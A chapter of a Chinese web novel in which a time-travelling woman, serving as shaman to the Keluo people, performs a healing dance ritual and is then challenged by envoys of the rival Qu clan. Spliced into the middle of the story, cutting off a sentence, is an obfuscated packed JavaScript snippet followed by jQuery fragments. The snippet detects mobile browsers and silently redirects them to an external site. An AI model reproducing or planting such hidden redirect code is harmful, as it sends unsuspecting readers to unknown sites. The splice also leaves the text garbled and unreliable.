祝祷的时间定在申时。
柯珞人倾巢而出，每个人都为即将到来的活动忙碌着。
安指挥众人，乱中有序。在淘金河淘金的青壮们带来许多鱼和河鲜。勇又采购了一批货物，不仅有做斜织机所用的材料、还有猪肉、鸡肉，考虑到此次祝祷是数月来柯珞人拨开阴霾后第一次庆贺，他不知从哪个地方弄到了一批酒。
在粮食产量并不高的时代，酒可谓是十分珍贵。
林凤至带着祁前往族中举办祝祷的空地，一路上不断地有人向她问好致意。
女人们端着木盆陶碗，在篝火旁做着饭菜。此时的烹饪方式较为简单，多用蒸、煮、煎和烤，调味更是比不上现代的五花八门，多数时候只用盐、姜、酱和醋来调味。
林凤至来到这个时代，除了手机之外，最想念的就是现代的各种美食。唉，林凤至都想叹气了，物产不丰，调料稀少。
巧妇难为无米之炊。
她想弄个铁锅炒菜吧，官方对铁的管制又极其严格，获取铁器的途径实在有限。铁器稀缺，柯珞人普遍用陶做的器皿。林凤至上学时学到，铁犁牛耕在春秋战国时期就已经推广使用，而柯络人甚至连耕作时用的农具都以木石为主。
至于青铜器，那是贵族才用得起的东西。
更别提柯络人的耕作方式，不是精耕细作，而是火耕水耨。
什么是火耕水耨？火耕水耨是稻田耕作的初始形态。分为火耕和水耨两个阶段。火耕即是放火烧掉土地表层的杂草，以增加肥力。水耨则是在稻苗和杂草共生的阶段引水灌溉，利用水稻根系发达可以适应水淹的特点抑制杂草生长。
林凤至第一次看见时看得两眼一黑。
林凤至努力回忆自己记忆中为数不多的种田知识，她懂得不多，在没有更好更确切的答案之前，她也不好阻拦人家火耕水耨的耕作方式。她只记得精耕细作，至于怎么精耕细作，她一个没种过田，只养过多肉还把多肉养死的哪儿敢多嘴。
有人在用陶甑煮饭，有人围着薄薄的石板做煎鱼，林凤至瞧着女人们用木勺在陶釜搅动。荠菜混着猪肉的香味飘过来，在火堆旁的女人撒了一把盐进去。那盐粗糙、颗粒大，不是林凤至印象中雪白的颜色，而是呈现出灰褐色。
林凤至忽然想起来，这段时间自己吃饭时若有若无的苦味从何而来。
古时候的盐加工技术较为原始，缺乏过滤的盐常常含有杂质，所以味道略带苦味。能用得上盐的家庭已经算好的了，在原身的记忆当中，因为盐价贵，他们用过掺杂草木灰和泥土的粗盐。
更有穷苦的人买不起粗盐而用盐渍豆酱补充咸味。
林凤至心里掠过什么，短暂停留后携着祁开始准备祝祷时的舞蹈。
是的，她觉得这场祝祷就是一场歌舞秀。
除了林凤至主祭、祁作为副手意外，还有十来个男女被选中和他们一起做这一场送蛊移病的祝祷。
他们披头散发满脸彩纹，脑袋上插着色泽鲜丽的羽毛，衣服宽大飘飘欲仙。
打扮和林凤至第一天见到他们时一样。
柯珞人以凤为图腾，这种朦胧的神秘的意思表现在织品绘制的图案上。林凤至身上的主祭巫袍绣着一只正面而立的凤，凤双目怒瞪如猫头鹰，腹部丰满呈圆状，腿部弯曲举双翼，奇特的是翼端是首内勾的凤头，人称“三头凤”，有明显的图腾遗痕。*
祁身上的凤鸟图案虽不如林凤至的精致，却也相当活灵活现。很难不让林凤至对柯珞人的手艺产生敬佩之情。
祁脸上抹上了厚厚的红泥，左手拿着如笛的乐器，右手拿着长长的、绚丽的野鸡尾羽。他的表情藏在红泥后，看不真切，一双眼饱含坚毅和崇敬。
竟意外地有神性。
林凤至更隆重些，她的身上、腰上、手上佩戴了玉。巫以玉敬神，以玉通神，以神占玉，附玉以神感。她手中执着一块玉佩，色青形圆，凤首位环顾，给人以神秘美感，但无疏离感，似是人与神、与图腾崇拜的互融。
空地中央燃起了一簇篝火。
鼓声响起的那一刻，所有人不约而同安静下来，放下了手中的活计。
没人注意到有外人混入其中，静默地看着祝祷。
身形高大健硕的男人踩着鼓点倏尔跳进众人围住的空地中，他高高扬起手中的鞭子，噼啪一声打在篝火旁。
下一瞬，数人舞着白鹭羽毛和五彩羽毛做的伞在篝火旁舞了起来。在欢腾热闹的击鼓声、敲瓦盆声中，他们似鸟形起舞。
“若有人兮山之阿，被薜荔兮带女萝。
既含睇兮又宜笑，子慕予兮善窈窕。
乘赤豹兮从文狸，辛夷车兮结桂旗。”*
祁不断地跳跃、翻腾，轻盈盈宛如一只小鸟。
林凤至跳着禹步，敲击着玉佩，每一步都如同碎玉般干脆利落。他们的衣袍随着舞蹈动作而变化，火光不断地照耀出他们身上的凤鸟纹路。
泠泠凤鸟在越发激越的鼓声中仿佛降临到了这一方天地，围观众人情不自禁地随他们一起舞蹈。他们跟随着羽毛跃动的方向，仿佛自己也化作一只只鸟儿跟随在百鸟之王的身侧。
在中间跳着祝祷的人满面潮红，神色中带着醉态，仿佛饮下一杯足够醉人的酒。他们的动作与鼓点相合，用热烈的舞姿驱散邪祟。他们脸上夸张的纹路与色彩，如同对邪祟的威慑。
男人们的姿态形如山岳巍峨，女人们宛如流水般静谧包容。他们扭动身姿，模仿自己信仰的山川湖海。每个动作都饱含着对自然的敬畏和神明的祈求。
林凤至身处其间，也被调动起了情绪，挥舞宽袖翩然起舞。她仿佛化身柯络人的使者，在这场宏大的叙事当中让柯络人与天地沟通。*
她的身影在篝火下摇曳，清脆的玉佩声仿佛神明遥远的回应。
鼓声渐渐低落，笛声悠扬。
林凤至一改先前激越急促的动作，翻腕俯身、双手合十，手中的玉佩随着她的动作落入篝火当中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424818|169114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>燃尽的柴火发出噼啪的声响，几簇尘烟撩动清风。
林凤至转身，她环视众人，众人紧紧地盯着她，眼神里是毫不掩饰的敬畏与依赖。
林凤至莞尔，绽开一个笑容：“送蛊移病，成功！”
霎时间，现场仿佛掉入了欢腾的海洋。
他们欢呼雀跃地喊着“巫”、“神明”。
人群中，安神情复杂地看着林凤至，她意识到什么，很快掩盖好自己的神情。
就在众人兴高采烈准备抬上宴席继续庆贺。
一道声音高声质疑道：“她跳得不对吧？”
欢腾的气氛犹如泼了一碰冷水，先是冷却，继而沸腾。
柯络人打从心底认可林凤至这位新晋的巫，林凤至上位第一天，就找到了困扰他们数月的血吸虫病源；随后又改良织布机，提高织布的效率，等同于给他们一个生钱的财路。
众人循着声源，怒视对方。同时默契地退开，对方身边顿时空出了一大片。
“我们柯络人自己的巫，想怎么跳就怎么跳，神明都不曾说什么，你一个外人，容得了你置喙？”
率先对方发难的不是别人，正是昨天质疑林凤至又向林凤至道歉的女人，林凤至记得她的名字，她叫小水。
“就是，你什么身份，对我们的巫这么说话？”
“巫跳得很好啊，屈氏的巫觋都没巫跳得好。”
“该不会是来蹭吃蹭喝的吧？”
勇和安认出了对方的身份，对方一行人佩戴着水神纹样的玉佩，是此地大族屈氏的人。也不知这些人神明时候混进来的。
安暗自懊恼，把守不严，让对方钻了空子。
柯络人与屈氏有过交际，在柯络人漫长此地、没有巫觋的岁月中，他们无法独立祭祀神明，只得求助于当地颇有声望而又有数十巫觋的屈氏。
长久以来，屈氏掌握着宗族事务，与湘水流域的祭祀传统。在屈原投江后将他与神明等同，更加强化了他们的影响力。
他们开始制定成为巫觋的原则，并将其通晓湘水流域。此后，如柯络人般的小族再少有巫觋，屈氏几乎垄断了与神明对话的通道。
柯络人织布的手艺很好，布匹细密、花纹独特。屈氏看上了他们织的布，所以屡屡让柯络人用布匹换取屈氏巫觋前来祭祀。
近半月来，柯络人有了自己的巫，不再向他们上贡，勇在县中大批购置的行为也惊动了他们。
于是，屈氏就遣人来一探究竟。
“什么巫？她通过考验了吗？告诉我们屈氏了吗？”为首的青年冷笑一声，颇为不屑：“我在族中习巫觋二十年，我说她错了，她就是错了。还不快快脱下巫觋服制，跪地向我求饶，说不定，我心情一好，便不向神明告知她的错漏。”
林凤至眼波流转，原来制定所谓成为巫觋规矩的是屈氏啊。害死原主和月的，原来是屈氏对神权的抢夺。
她疾步上前，在所有人都没反应过来前一巴掌扇了上去。